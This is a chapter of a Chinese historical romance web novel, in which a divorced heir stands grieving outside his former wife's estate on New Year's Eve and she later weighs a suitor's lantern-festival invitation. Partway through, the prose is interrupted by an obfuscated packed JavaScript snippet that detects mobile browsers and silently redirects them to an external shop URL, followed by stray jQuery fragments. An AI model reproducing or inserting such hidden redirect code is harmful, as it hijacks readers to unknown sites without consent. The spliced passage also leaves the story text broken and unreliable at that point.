彼时时辰虽不早了,但因着除夕至上元节这半个月,都没有宵禁。所以沈飞从镇国公府一路骑马走来,街上还多得是在外游玩戏耍的百姓。
卖吃食的,玩杂耍的,猜灯谜做花灯的,还有各家各户的小孩儿,吃饱喝足后举着果子,玩具到处乱窜的,将长安街挤得水泄不通。
还有时不时在漆黑夜空里忽然爆开的烟火,引得百姓们传来阵阵欢呼叫好声。
可这些沈飞都充耳未闻。
他静静立在县主府青砖砌的高墙下,听着墙里燃烧得“噼啪”作响的爆竹声,还有里面时不时传来的女子笑声,挣扎许久,最后还是没有去敲门。
碧山和碧潭见时不时有路过的行人,向他们投来打量的眼光,也只是沉默地抱着佩刀,面无表情地瞪着一双大眼,让人不敢轻易上前打扰。
县主府的西侧院,便是桃林。
林时雨除了平日里常来这里赏雪煮茶,今日也吩咐了府中下人,要在这里烧爆竹,放烟火。
成捆扎好的青竹,在烈火的燃烧下,发出“噼里啪啦”的爆裂声。
随着热气翻涌飞起的点点星火,化作一缕青烟散开,林时雨抬头望了望院墙外的热闹,也忍不住举着一支点燃的线香,亲自去点从西市买回来的烟火。
嘭——
随着一声巨响,一簇簇五光十色的烟火瞬间窜入半空,绽开绚丽夺目的火光。
林时雨早在引线烧到烟火前,就跑到了亭子里。见自己点的烟火在黑夜里倏然炸开,她满足一笑,朝一旁捂着耳朵的碧叶大喊道:“怎么样?我放的烟火比小厮们还好吧?”
见她兴致勃勃,碧叶放下捂住耳朵的手,满脸笑容道:“主子真厉害!”
“你要去玩吗?”林时雨说着就要把手里的线香递给碧叶,“我让人买的烟火还多着呢!你和碧桐也去玩玩吧?”
从前林时雨在昭阳殿里,也曾这般肆意点过烟火。只不过,看着姑母担忧她的样子,她也只是玩上一两回,就停了手。
再后面,她嫁给了沈飞,做镇国公府的世子夫人,便再没有这样的机会。
镇国公府每年岁末采买的烟火爆竹数不胜数,只是她作为端庄贤淑的世子夫人,自然不能纡尊降贵同小厮们一样,拿着线香,穿梭在院子里放烟火爆竹。
她要操持家宴。要婆母身边立规矩,伺候长辈。还要照看着府里一应事务,免得哪里出了岔子。
林时雨想起自己从前过的日子,忽觉得眼下肆意悠闲的生活,多了几分不真实的感觉。
碧桐见林时雨兴致实在是高,又见碧叶对着林时雨递来的线香连连摆手推辞,遂即主动接过了林时雨手里还未燃尽的线香,娇笑道:“主子,我去给您放一只烟火吧!”
她手里举着线香,朝碧叶挑了挑眉,捂嘴乐道:“奴婢的胆子,可比碧叶大多了。您看她站在这里都被这烟火爆竹声吓得不轻的样子,就知道她肯定是没那个胆子自己去点烟火的!”
说完这话,碧桐便直接略过敢怒不敢言的碧叶,径直朝亭外不远处的烟火走去。
林时雨看着碧桐的身影,见她手脚利落地点了引线就跑,也和碧叶同时捂住了自己的耳朵。
等到烟火绽开,才对碧叶道:“没关系,我若是不亲自放烟火,也有些怕这些突然爆开的声响。等到上元节那日,我便带你和碧桐去大街上赏灯去,保管你能玩得痛痛快快。”
碧叶一听林时雨上元节要带着她和碧桐出门,当即就笑了起来。她脸上一扫方才的惧意,脆生生地朝林时雨应了一句“好”。
亭子靠近外墙,林时雨在自家爆竹烟火的间歇期间,耳旁似乎还能隐隐听到街上热闹非凡的动静。只是看着这会檐角的灯笼下,又渐渐飘起鹅毛大雪,她便只好歇了漏夜出府游玩的心。
碧桐放了烟火回来后,便也拉着林时雨,两个人一起去点爆竹。
碧叶则待在亭子里,在风炉上烧了壶水,等着林时雨玩回来后给她沏壶热茶驱寒。
临近子时,四周宅邸里都纷纷响起爆竹声,林时雨也赶紧让小厮们又点了一捆青竹。在噼里啪啦的爆竹声中,她望着不远处烧得红彤彤的火堆,悄悄地在心里许下了一个愿望。
至于她许得是什么愿望,大概也只有她和老天爷才知道。
也不知道为何,沈飞立在高墙下,隔着爆竹烟花的爆裂声,和重重叠叠的欢笑声,竟能清晰地分辨出那人的笑声。
就像是魔咒一样,林时雨与丫头们玩闹的欢快笑声,顺着耳朵,直往他脑子里钻。
让他忍不住去想她笑起来时,双颊会浮起的一对笑涡,还有那双噙着水光的星眸。沈飞刚到县主府门时,不是没想过去敲门。
只不过他到底还是将李妈妈的话,给听了进去。
是啊,他们已经和离了。就连和离书,也是他沈飞亲自写下的。
沈飞痛苦地闭上了眼睛,随即紧握着拳头,狠狠砸向面前的高墙。
很快,血肉模糊的手背传来阵阵剧痛,疼得他几乎要在这雪地里站不稳脚。只得大喘着气,将已经冻得毫无知觉的身躯,往墙上靠去。
碧山和碧潭担忧地对视了一眼,半天也没有想好该怎么开口,劝主子离开。
沈飞将冻得发青的脸庞贴在刺骨的墙面,鼻尖还萦绕着一丝令人作呕的腥气。听着里面渐渐散去的声响,他才惊觉原来她离开自己后,痛苦的人只有他。
“……走。”
子时的梆子,已经敲过。
墙里也再没有传出任何动静。就连街上原本熙攘的行人,也只剩稀稀落落几人,提着灯笼匆匆散去。
他该走了。
他们也早就结束了。
*
直到上元节的前一日,林时雨才终于被林霰放出了昭阳殿,回到了自己的县主府。
要知道,自她初一进宫给姑母拜年,便被姑母一直留在昭阳殿里。这些日子里,就连她自己也记不清,被姑母带着去赴过多少次宫宴。
不仅要赴的宴席不少,就连昭阳殿,也在这不到半个月的时间里,接连摆了三次宴。
林时雨看着每日宫宴上各家贵眷打量自己的眼神,心下忽有了不妙的预感。于是,她借着上元节要走百病的由头,在正月十四那日出了宫。
林霰见林时雨终于愿意出门散心,也不再强留她在宫里拘着。
彼时年味十足,林时雨坐在回府的马车里,听着街上热闹非凡的吆喝声,兴致勃勃地与身边的碧叶和碧桐商议着晚上要去哪里逛。
碧叶提议去西市逛。
只因那里聚集着各处的胡商,除了各种极有特色的吃食,还有让人眼花缭乱的新奇玩意和杂耍。
碧桐却觉得晚上去东市的胜意楼赏灯最妙。
“说起胜意楼,我倒是在前几日的宫宴上,听说京里赏灯的绝佳位置,是一座叫回雪楼的花楼。”
两个丫头一听,瞬间紧张得盯着林时雨。也不再争论晚上要去哪里逛,生怕林时雨一时兴起,要去那回雪楼上赏灯。
林时雨见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715780|202673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她们一副如临大敌的模样,笑着伸出指头,在两人额间点了点:“怎么了?我不过就是随口说说,又不是真的要去回雪楼。”
“再说了,”林时雨有些可惜道,“我听刘尚书的夫人说,那回雪楼近段时间都被人整个包了,想来明晚咱们就是想去上面赏灯,也是去不成的!”
碧叶道:“县主若是想赏灯,不如就去碧桐提议的胜意楼吧?奴婢听说这胜意楼与回雪楼相距不远,想来两座楼里能看到的风景,也相差无几。”
林时雨听闻这话后,点了点头:“那好,那我们就先前西市逛一逛,看有没有什么新奇玩意儿。等逛累了,再去胜意楼上,赏灯吃酒。”
碧桐则兴奋道:“奴婢还听说那胜意楼里做的点心一绝,等咱们逛累了,再让茶博士上些细点来尝尝!”
“好!”
林时雨痛快地回应了碧桐的提议,很快又同她们商量起明日晚上出门时的穿戴。
回到府中,林时雨让人唤了管家来,问了几句她住在宫里的这段时间里,府里有没有什么需要她拿主意的事。
管家躬身回了几件人情来往的事,又递上一封洒金印祥云的请帖,回道:“县主,这是前儿午后,大理寺少卿吴府送来的请帖,请您过目。”
吴倾楼让人送来的请帖?
林时雨接过请帖,展开一看,见请帖上写的是吴倾楼邀她明晚戌时一刻,在胜意楼的厢房里赏花灯,不由叹了叹气。
她明明已经将玉佩物归原主,他怎么还给自己下帖子,邀自己去赏花灯呢?
在宫里的这段时间,她可是听到了官眷们在议论着镇国公府,要与他结亲的事。甚至,镇国公府那边还请了宋国公夫人,亲自上门保媒。
林时雨早去年在行宫时,就察觉到沈娉婷的心意。只是没想到都到了这会,吴倾楼居然还给她下请帖。
虽说她如今已经是自由之身,可她眼下还没有想过再嫁之事。
碧叶和碧桐陪在林时雨身旁,见她看过管家递来的请帖后,脸庞上忽浮现一副犹豫为难的神情,还以为又是……又是镇国公府那边还不死心,也不敢贸然开口相劝。
林时雨将手里的请帖放下,思量几番,还是下定决心让碧叶去取笔墨来。
不过一封回帖,不到半柱香,林时雨就已经提笔写好。等到帖子上的墨迹全干后,又让管家派人将回帖送到吴府。
等到帖子送走后,林时雨才又开始和碧叶碧桐说起,明晚要买什么样式的花灯。
虽说府里的下人,已经扎了不少漂亮的花灯挂在各处檐下。姑母那边,更是让人送来了不少精美绝伦的宫灯。可林时雨却觉得还是街上的花灯更有意思些。
毕竟明晚的花灯,可以靠着猜灯谜赢到手里。既喜庆,又热闹。想来没有人会不喜欢。
数日不见林时雨回来的狸奴和滚地锦,乍然重新见到了主子,还有时常给它们俩投喂鱼干的碧叶和碧桐,高兴得拱着背脊,在三人的脚上蹭来蹭去,喵喵直叫。
又撒娇,又亲热。惹得林时雨与碧叶碧桐笑个不停。忙让人给它们喂些鱼干,哄它们开心。
看着两只毛团叼着鱼干,慢悠悠撕咬着的模样,林时雨忽想起了她方才面对吴倾楼的请帖时的尴尬。
她这叫什么?
她这叫躲得过初一,躲不过十五。既然躲不过十五,那就明晚听听他到底约自己要说什么吧。
反正她现在已经不是镇国公府的世子夫人,不必像先前那般连道个谢,都要顾忌重重。